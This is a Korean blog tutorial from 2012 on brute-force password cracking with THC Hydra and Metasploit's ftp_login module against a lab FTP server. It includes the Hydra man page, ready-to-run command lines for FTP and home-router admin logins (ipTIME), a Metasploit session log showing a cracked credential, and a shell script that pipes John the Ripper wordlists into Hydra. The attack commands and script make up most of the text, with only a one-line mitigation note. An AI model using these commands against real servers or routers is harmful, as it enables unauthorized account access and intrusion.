Hydra를 이용한 무식공격
Hydra를 이용한 무식공격■ 작성일 : 2012년■ 작성자 : C8KOREA■ 저작권 : 퍼가더라도 링크하나 남겨주기!! 본 자료로 인한 책임은 너가 지길.■ 첨부파일■ 테스트 환경공격자 : BT5 r3타겟: XP SP3Hydra를 스타크에 나오는 넘 처럼 좀 지저분한 툴일 수도 있으나 ftp,web,암호화 된 유무선공유기 등 다양한 분야에 걸쳐 ID,Password를 까부수는 툴이다. 여기서 좀 지저분 하다는 것은 Dictionary Attack이라는 무식한공격(Bruteforce Attack)을 사용하기 때문이다. 본자료는 테스트 용으로만 사용하고 암대나 남용하지 말길 바란다.만일 상대편이 보안장비를 운영한다면 공격에 대한 로그가 기록이 되기 때문이다.지원플랫폼과 버전정보리눅스, 윈도 둘다 돌아간다. 본좌는 백트랙5 우분투 이며 버전은 6.5이다. 히드라 공식페이지의 소스버전은 7.3이다.설치윈도용은 알아서 찾아서 다운받는다. 본좌는 BT5에 이미 설치되어 있다. 혹시 없다면 링크사이트로 가서 다운 받은 후 컴파일 하기 바란다.들어가기에 앞서좀 이해 좀 하고 사용해라 아그들아. 아래는 man page 내용이다. 읽어 보고 사용법에 들어가도록 하자.root@bt:~# man hydraHYDRA(1) HYDRA(1)NAME hydra - A very fast network logon cracker which support many different servicesSYNOPSIS hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-4/6] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]DESCRIPTION Hydra is a parallized login cracker which supports numerous protocols to attack. New modules are easy to add, beside that, it is flexible and very fast. This tool gives researchers and security consultants the possiblity to show how easy it would be to gain unauthorized access from remote to a system. Currently this tool supports: // 졸라 많네...이거 전부 테스트 해보도록 하자!! AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM- POST, HTTPS-GET, HTTPS-HEAD, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, PCNFS, POP3, POSTGRES, REXEC, SAP/R3, SMB, SMTP, SNMP, SOCKS5, SSH(v1 and v2), Subversion, Teamspeak (TS2), TELNET, VMware-Auth, VNC and XMPP. -R restore a previous aborted/crashed session -S connect via SSL -s PORT if the service is on a different default port, define it here -l LOGIN // 사용자 이름을 이미 알고 있다면 사용한다. or -L FILE login with LOGIN name, or load several logins from FILE -p PASS // 패스워드를 이미 알고 있다면 사용한다. 모를 경우 Dic파일을 이용하여 무식공격한다. or -P FILE try password PASS, or load several passwords from FILE -e ns additional checks, "n" for null password, "s" try login as pass // 패스워드가 null인지 체크. -c FILE colon separated "login:pass" format, instead of -L/-P options -m FILE server list for parallel attacks, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f exit after the first found login/password pair (per host if -M) // id,password 발견되면 빠져나와라 -t TASKS run TASKS number of connects in parallel (default: 16) -w TIME //id,password를 한번 날리고 틀리면 또 날리는데 그때 gap인 최대 대기 시간이다. defines the max wait time in seconds for responses (default: 30) -4 / -6 // IP v4, v6를 지원한다. 좋구나~ prefer IPv4 (default) or IPv6 addresses -v / -V // verbose 즉 화면에 보여달라는 의미다. 뭘? id, password 조합된 결과를 verbose mode / show login+pass combination for each attempt server the target server (use either this OR the -M option) service the service to crack. Supported protocols: afp cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get} http[s]-{get|post}-form http-proxy icq irc imap ldap2 ldap3[-{cram|digest}md5] mssql mysql ncp nntp oracle ora cle-listener oracle-sid pcnfs pop3 pcanywhere postgres rexec rlogin rsh sapr3 sip smb smtp smtp-enum snmp socks5 ssh svn teamspeak telnet vnc vmauthd xmpp OPT some service modules need special input (see README!) -h, --help Show summary of options. SEE ALSO xhydra(1), pw-inspector(1). The programs are documented fully by van Hauser <vh@thc.org>AUTHOR hydra was written by van Hauser / THC <vh@thc.org> and co-maintained by David Maciejak <david.maciejak@gmail.com>. This manual page was written by Daniel Echeverry <epsilon77@gmail.com>, for the Debian project (and may be used by others).충분히 읽어 보았는가?실습 1 - FTP Attackingman page 위에 빨간색글자에 보면 다양한 분야에 무식공격을 할 수 있다고 나온다. 여기서 FTP서버의 ID, Password를 까부셔 보도록 하자.실습환경타겟 : XP SP3 알FTP서버 / userid, password : abcd, 1818공격자 : 우분투 Hydra v6.5테스트용이라 간단하게 만들었다. 졸라 암호 복잡하면 시간 오래 걸리기 때문이다.준비물 - Dictionary 파일 얻기가. 직접 만들기 : 본좌 블로그에 올려 놓았다.나. 구글링을 통해 얻기 사전파일링크 http://www.skullsecurity.org/wiki/index.php/Passwords명령어 형식 1ID를 알고 있다면 -l 사용자계정을 입력한다. 패스워드를 모르기에 -P 옵션을 이용한다. 패스워드 Dic 파일을 적고-e ns는 null 패스워드 체크를 하고 -vV는 결과를 보여주고...뒤에 타겟 IP ftp를 적어준다.# hydra -l user -P dic.txt -e ns -vV IP ftp만일 사용자 계정도 모를 경우는 아래와 같이 해준다.# hydra -L user.txt -P dic.txt -e ns -vV IP ftp추가내용 - Metasploit를 이용한 FTP Server CrackingHydra와 비슷하게 Metasploit에서도 가능하다. 아래와 같이 해보자msf > search ftp_login // 모듈이 있는지 조사해보니 아래와 같은게 보일 것이다.Matching Modules+=============== Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/scanner/ftp/ftp_login normal FTP Authentication Scannermsf > use auxiliary/scanner/ftp/ftp_login // 해당 모듈로 접속하자msf auxiliary(ftp_login) > set PASS_FILE /tmp/dic.txt // 패스워드가 있는 dictionary 파일이다.PASS_FILE => /tmp/dic.txtmsf auxiliary(ftp_login) > set USER_FILE /tmp/user.txt // 사용자 계정의 dictionary 파일이다.USER_FILE => /tmp/user.txtmsf auxiliary(ftp_login) > set RHOSTS 192.168.203.23 // 타겟을 정한다.RHOSTS => 192.168.203.23msf auxiliary(ftp_login) > run // 실행[*] 192.168.203.23:21 - Starting FTP login sweep[*] Connecting to FTP server 192.168.203.23:21...[*] Connected to target FTP server.[*] 192.168.203.23 :21 - FTP Banner: '220 ALFTP Server ready. ^-^)/~\x0d\x0a'[*] 192.168.203.23 :21 FTP - Attempting FTP login for 'anonymous':'mozilla@example.com'[*] 192.168.203.23 :21 FTP - Failed FTP login for 'anonymous':'mozilla@example.com'[*] 192.168.203.23 :21 FTP - [1/8] - Attempting FTP login for 'abcd':''[*] 192.168.203.23 :21 FTP - [1/8] - Failed FTP login for 'abcd':''[*] 192.168.203.23 :21 FTP - [2/8] - Attempting FTP login for 'efgi':''[*] 192.168.203.23 :21 FTP - [2/8] - Failed FTP login for 'efgi':''[*] 192.168.203.23 :21 FTP - [3/8] - Attempting FTP login for 'abcd':'abcd'[*] 192.168.203.23 :21 FTP - [3/8] - Failed FTP login for 'abcd':'abcd'[*] 192.168.203.23 :21 FTP - [4/8] - Attempting FTP login for 'efgi':'efgi'[*] 192.168.203.23 :21 FTP - [4/8] - Failed FTP login for 'efgi':'efgi'[*] 192.168.203.23 :21 FTP - [5/8] - Attempting FTP login for 'abcd':'3000'[*] 192.168.203.23 :21 FTP - [5/8] - Failed FTP login for 'abcd':'3000'[*] 192.168.203.23 :21 FTP - [6/8] - Attempting FTP login for 'abcd':'1818'[+] 192.168.203.23 :21 - Successful FTP login for 'abcd':'1818' // 성공했다는 메세지가 나온다.[*] 192.168.203.23 :21 - User 'abcd' has READ/WRITE access[*] 192.168.203.23 :21 FTP - [7/8] - Attempting FTP login for 'efgi':'3000'[*] Connecting to FTP server 192.168.203.23:21...[*] Connected to target FTP server.[*] 192.168.203.23 :21 FTP - [7/8] - Failed FTP login for 'efgi':'3000'[*] 192.168.203.23 :21 FTP - [8/8] - Attempting FTP login for 'efgi':'1818'[*] 192.168.203.23 :21 FTP - [8/8] - Failed FTP login for 'efgi':'1818'[*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed테스트 결과Hydra의 경우 잘 되지 않는다. BT5에 있는 설치된 패키지로 해보니 안된다. 이유는 모르겠지만 Hydra 7.3 소스파일을 받아서 컴파일 후 직접 해봐야 것다.Metasploit의 경우는 잘 먹힌다. 방지책결국 또 강조되는 것이지만 사용자 계정은 Default로 하지 말아야 하고 Password 또한 졸라 복잡하게 만들어야 함을 다시한번알게된다.hydra -L ftp.txt -P ts-list.txt -o test.txt www.xxx.com ftp유무선공유기 id, password 무식대입법/pentest/passwords/wordlists/ap_passwords.txt -t 1 -e ns -f -V http-get /IPTime 관리자 페이지 무식공격hydra -s 80 -l admin -v -P passwords.txt -e ns -f http://192.168.0.1/cgi-bin/timepro.cgi?tmenu=main_frameHydra와 John의 만남관련 링크자료 찾아서 삽질 한 내용 정리한다. 히드라의 가장 큰 문제점을 사전파일을 만드는 것이다. 그래서 구글링해서 뒤지기 시작했다.사전파일이 아닌 john와 궁합맟춰 삽질코딩한 해커가 있다고 판단하고 구글링한 결과...있다. 역시 해커는 머리도 비상해야 하나 보다.(아래 코드로 뻘짓거리 하지 말길 바란다.)shellcode #!/bin/shhydra="/usr/local/bin/hydra"#john="/usr/bin/john"john="/pentest/passwords/john/john" // BT5 환경에서 Path를 변경해 줘야 한다.#hydra_module="ssh2"hydra_module="http-get /" // 히드라 모듈#hydra_host="127.0.0.1"hydra_host="http://192.168.0.1/cgi-bin/timepro.cgi?tmenu=main_frame&smenu=main_frame"#hydra_port="22"hydra_port="80"hydra_nb_task="10"hydra_all_params="-f -s $hydra_port -t $hydra_nb_task -e ns "john_sessionfile="$1"john_all_params="--incremental:Alpha --stdout""hydra_john.sh" 62L, 1806C 1,1 Top#!/bin/shhydra="/usr/local/bin/hydra"#john="/usr/bin/john"john="/pentest/passwords/john/john"#hydra_module="ssh2"hydra_module="http-get /"#hydra_host="127.0.0.1"hydra_host="http://230.230.169.21/cgi-bin/timepro.cgi?tmenu=main_frame&smenu=main_frame"#hydra_port="22"hydra_port="80"hydra_nb_task="10"hydra_all_params="-f -s $hydra_port -t $hydra_nb_task -e ns "john_sessionfile="$1"john_all_params="--incremental:Alpha --stdout"john_time_step=20 # time (seconds) to run johntmp_passwd="/tmp/pwd1234.tmp"hydra_logfile="/tmp/hydralog"if [ "$1" = "" ];then echo "Usage: $0 <john session file>" exit 0fi#for lfile in `ls $loginfiles*`;dowhile [ 1 ];do # generate some password with john the ripper echo; echo "- Start (re)generating passwords with John" if [ -e "$john_sessionfile.rec" ];then # if session exist, restore it $john --restore=$john_sessionfile > $tmp_passwd & else # if session not exist yet, create it $john $john_all_params --session=$john_sessionfile > $tmp_passwd & fi # wait 100 seconds, then kill john and start hydra on it echo "- Wait ..." sleep $john_time_step echo "- Kill john" killall john 2>/dev/null 1>/dev/null sleep 1 # start hydra echo; echo "- Start hydra"; echo rm -f $hydra_logfile echo "$hydra -l admin -P $tmp_passwd $hydra_all_params $hydra_host $hydra_module | tee -a $hydra_logfile" $hydra -l root -P $tmp_passwd $hydra_all_params $hydra_host $hydra_module | tee -a $hydra_logfile # if a valid pair has been found, stop the loop if [ "`grep $hydra_module $hydra_logfile | grep -v DATA`" != "" ];then echo; echo "FOUND !!" grep $hydra_module $hydra_logfile | grep -v DATA exit 0 fidone사용법존더리퍼와 히드라 help 메뉴얼을 보면 사용법은 그냥 알 수 있다고 본다.위의 shellcode에 답이 있으니 너가 알아서 찾길 바란다.테스트 결과타겟에서 실제 패킷을 떠보니 안나온다. 히드라 모듈 부분에 ssh2 대신 http-head, http-get 모듈로 처리하고 테스트 해보니 Error라고 나온다. 히드라 모듈 부분에서 걸리는지 뭔지 모르것다. 여튼 ssh2, ftp 모듈에서는 잘 된다고 하니 한번 테스트 해보는 것도 좋으리라 본다.시간이 나면 계속 테스트 해보도록 하것다.참조링크http://www.thc.org/thc-hydra/http://dl.packetstormsecurity.net/papers/general/thchydra-tutorial.txthttp://www.dis9.com/metasploit-attacking-the-ftp-service.htmlhttp://funoverip.net/2010/12/thc-hydra-password-bruteforcing-with-john-the-ripper/ …